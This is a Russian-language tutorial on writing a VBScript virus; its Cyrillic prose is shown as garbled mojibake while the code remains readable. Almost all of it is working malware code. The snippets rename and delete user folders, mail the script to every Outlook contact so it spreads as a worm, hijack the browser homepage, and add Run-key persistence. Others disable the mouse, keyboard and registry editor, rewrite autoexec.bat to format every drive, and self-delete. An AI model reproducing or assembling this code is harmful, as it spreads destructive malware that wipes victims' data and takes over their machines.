~Ìàíóàë ïî ñîçäàíèþ âèðóñà~ íà VBS! (' - óêàçàííûå íèæå àáçàöû íå ïðîïèñûâàòü)
-------------------------------------------------------------
Íó íà÷íåì.......
Îòêðûâàåì ïðîñòîé áëîêíîò (ïðè ïîìîùè áëîêíîòà ìîæíî ñîçäàòü ïî÷òè ÷òî óãîäíî)......È ïðîïèñûâàåì îñíîâíîå íà÷àëî íàøåãî âèðóñà:
CODE' àáçàö
Set f = CreateObject("scripting.filesystemobject")
Set s = CreateObject("Wscript.Shell")
t=0: on error resume next
Set os = CreateObject("Shell.Application")
set ie = WScript.CreateObject("InternetExplorer.Application")
Set oe = WScript.CreateObject("Outlook.Application")
Òàê íà÷èíêó ñäåëàëè....
Òåïåðü ÿ ïðîïèøó ÂÀÌ îñíîâíûå äåéñòâèÿ âèðóñà:.....
1) Ñäåëàåì òàê ÷òîáû ïîñëå îòêðûòèÿ íàøåãî ïðîåêòà ó þçâåðà âûñêî÷èëî ñîîáùåíèå:
CODE' Âûâåñòè ñîîáùåíèå
s.popup "text1", , "text2", 0+16
text1 - ñàìî ñîîáùåíèå
text2 - çàãîëîâîê ñîîáùåíèÿ
0+x - òèï ñîîáùåíèÿ
(0+0) - îáû÷íûé òèï
(0+16) - îøèáêà
(0+64) - èíôîðìàöèÿ
(0+48) - âîñêëèöàíèå
(0+32) - âîïðîñ
2) Íàì íóæíî ÷òî-òî ïåðåèìåíîâàòü....
CODE' Ïåðåèìåíîâàíèå âñåõ ôàéëîâ, íàõîäÿùèõñÿ íà Ðîáî÷åì ñòîëå íà "text"
For Each Folder In s.SpecialFolders
if right(folder,12)="Ðàáî÷èé ñòîë" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="text" & t
next
end if
next
text - íîâûé òåêñò!
-------------------------------------
' Ïåðåèìåíîâàíèå ïàïêè Ìîè äîêóìåíòû íà "Íîâîå_Íàçâàíèå"
For Each Folder In s.SpecialFolders
if right(folder,13)="Ìîè äîêóìåíòû" then
set tf=f.getfolder(folder): tf.name="Íîâîå_Íàçâàíèå"
End if
next
------------------------------------
' Ïåðåèìåíîâàíèå âñåõ ôàéëîâ, íàõîäÿùèõñÿ â Ìîèõ äîêóìåíòàõ íà "Íîâîå_íàçâàíèå"
For Each Folder In s.SpecialFolders
if right(folder,13)="Ìîè äîêóìåíòû" then
set tf=f.getfolder(folder)
set af=tf.files
For Each fl In af
set file=f.getfile(fl):t=t+1
file.name="ÍÀÇÂÀÍÈÅ" & t
next
end if
next
------------------------------------
' Ïåðåèìåíîâàíèå âñåõ ôàéëîâ, íàõîäÿùèõñÿ â Ãëàâíîå ìåíþ\Ïðîãðàììû íà "íîâîå_íàçâàíèå"
For Each Folder In s.SpecialFolders
if right(folder,12)="Ãëàâíîå ìåíþ" then
set tf=f.getfolder(folder)
set af=tf.subfolders
For Each fl In af
set file=f.getfolder(fl):t=t+1
file.name="íîâîå_íàçâàíèå" & t
next
end if
next
3) Íàì íóæíî ÷òî-òî ïåðåìåñòèòü:
CODE' Ïåðåìåùåíèå Ðàáî÷åãî ñòîëà â "FOLDER"
For Each Folder In s.SpecialFolders
if right(folder,12)="Ðàáî÷èé ñòîë" then
f.copyfolder folder, "FOLDER"
f.deletefolder folder, true
next
(folder - ïàïêà)
--------------------------------------
' Ïåðåìåùåíèå ïàïêè Ìîè äîêóìåíòû â "ïàïêà"
For Each Folder In s.SpecialFolders
if right(folder,13)="Ìîè äîêóìåíòû" then
f.copyfolder folder, "ïàïêà"
f.deletefolder folder, true
next
4) ......Èíòåðíåò
CODE
' Ñäåëàòü äîìàøíåé ñòðàíèöó "http:\\hack-all.net"
s.RegWrite "HKCU\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page", "http:\\hack-all.net"
----------------------------------------
' Ïåðåéòè íà ñàéò "http:\\hack-all.net"
ie.Visible = True
ie.Navigate "http:\\hack-all.net"
----------------------------------------
' Ðàçîñëàòü âèðóñ Âñåì êîíòàêòàì íåïðèÿòåëÿ
For Index = 1 To oe.GetNameSpace("MAPI").AddressLists(1).count
Set OutMail = oe.CreateItem(0)
OutMail.to = oe.GetNameSpace("MAPI").AddressLists(1).AddressEntries(Index)
OutMail.Subject = "â òåìå ïèñüìà"
OutMail.Body = "â òåëå ïèñüìà"
OutMail.Attachments.Add WScript.ScriptFullName
OutMail.Send
Next
5) Óäàëÿåì íóæíûå îáúåêòû....
CODE' Óäàëåíèå ñïåöèàëüíûõ ïàïîê
For Each Folder In s.SpecialFolders
-------------------------------------------------
' Óäàëåíèå Ðàáî÷åãî ñòîëà
f.deletefolder s.SpecialFolders ("Desktop"),true
-------------------------------------------------
' Óäàëåíèå Aplication Data
if right(folder,15)="Aplication Data" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå PrintHood
if right(folder,9)="PrintHood" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå ShellNew
if right(folder,8)="ShellNew" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå øðèôòîâ
if right(folder,5)="FONTS" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå NetHood
if right(folder,7)="NetHood" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå Ãëàâíîå ìåíþ
if right(folder,12)="Ãëàâíîå ìåíþ" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå SendTo
if right(folder,6)="SendTo" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå Recent
if right(folder,6)="Recent" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå Àâòîçàãðóçêà
if right(folder,12)="Àâòîçàãðóçêà" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå Èçáðàííîå
if right(folder,9)="Èçáðàííîå" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå Ìîè äîêóìåíòû
if right(folder,13)="Ìîè äîêóìåíòû" then f.deletefolder folder,true
-------------------------------------------------
' Óäàëåíèå Ïðîãðàììû
if right(folder,9)="Ïðîãðàììû" then f.deletefolder folder,true
Next
6) Î÷åíü âðåäîíîñíîå....... (äåëàòü íå ñîâåòóþ)
CODE' Ïîìåíÿòü ôóíêöèè êëàâèø ìûøêè ìåñòàìè
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SwapNT", "rundll32 user32, SwapMouseButton"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Swap98", "rundll32.exe user.exe, swapmousebutton"
s.Run "rundll32 user32, SwapMouseButton"
-------------------------------------------------
' Âûðóáèòü êëàâèàòóðó(Òîëüêî äëÿ Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Dead", "rundll32 keyboard,disable"
s.Run "rundll32.exe keyboard.exe, disable"
-------------------------------------------------
' Îòêëþ÷èòü ìûøü(Òîëüêî äëÿ Windows 95,98,Me)
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Mad", "rundll32 mouse,disable"
s.Run "rundll32.exe mouse.exe, disable"
-------------------------------------------------
' Ìèíèìèçèðîâàòü âñå îêíà
os.MinimizeAll
-------------------------------------------------
' Çàïóñêàòüñÿ ïðè êàæäîé ïåðåçàãðóçêå
Set File2 = f.GetFile(WScript.ScriptFullName)
File2.Copy ("c:\windows\System\Gigabyte.vbs")
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
s.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Gigabyte", "C:\WINDOWS\SYSTEM\Gigabyte.vbs"
-------------------------------------------------
' Áëîêèðîâàòü RegEdit(÷òîá ó íåãî íå çàâîäèëñÿ ðåäàêòîð ðååñòðà).Äëÿ òîãî ÷òîáû ðàçáëîêèðîâàòü ïðîèñâîéòå DisableRegistryTools çíà÷åíèå - 0
s.RegWrite "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\SYSTEM\DisableRegistryTools", 1, "REG_DWORD"
-------------------------------------------------
' Ôîðìàòèðîâàòü Âñå äèñêè (Òîëüêî äëÿ Windows 95,98,Me)
If f.FileExists("d:\autoexec.bat") Then Str ="d:\autoexec.bat"
If f.FileExists("d:\Windows.000\autoexec.bat") Then Str ="d:\Windows.000\autoexec.bat"
If f.FileExists("d:\Windows\autoexec.bat") Then Str ="d:\Windows\autoexec.bat"
If f.FileExists("c:\autoexec.bat") Then Str = "c:\autoexec.bat"
If f.FileExists("c:\Windows.000\autoexec.bat") Then Str = "c:\Windows.000\autoexec.bat"
If f.FileExists("c:\Windows\autoexec.bat") Then Str = "c:\Windows\autoexec.bat"
Set ab = f.GetFile(Str)
ab.Attributes = 0
Set autoexec = f.CreateTextFile(Str)
autoexec.WriteLine "@cls"
autoexec.WriteLine "@format c: /q /autotest"
autoexec.WriteLine "@format d: /q /autotest"
autoexec.WriteLine "@format e: /q /autotest"
autoexec.WriteLine "@format f: /q /autotest"
autoexec.WriteLine "@format g: /q /autotest"
autoexec.WriteLine "@format h: /q /autotest"
autoexec.WriteLine "@format i: /q /autotest"
autoexec.Close
s.Run Str, 5
-------------------------------------------------
' Ïåðåçàãðóçèòü êîìïüþòåð(Òîëüêî äëÿ Windows 95,98,Me)
s.Run "Rundll32.exe User.exe,ExitWindows"
-------------------------------------------------
' Ñàìîëèêâèäèðîâàòüñÿ
f.deletefile WScript.ScriptFullName, true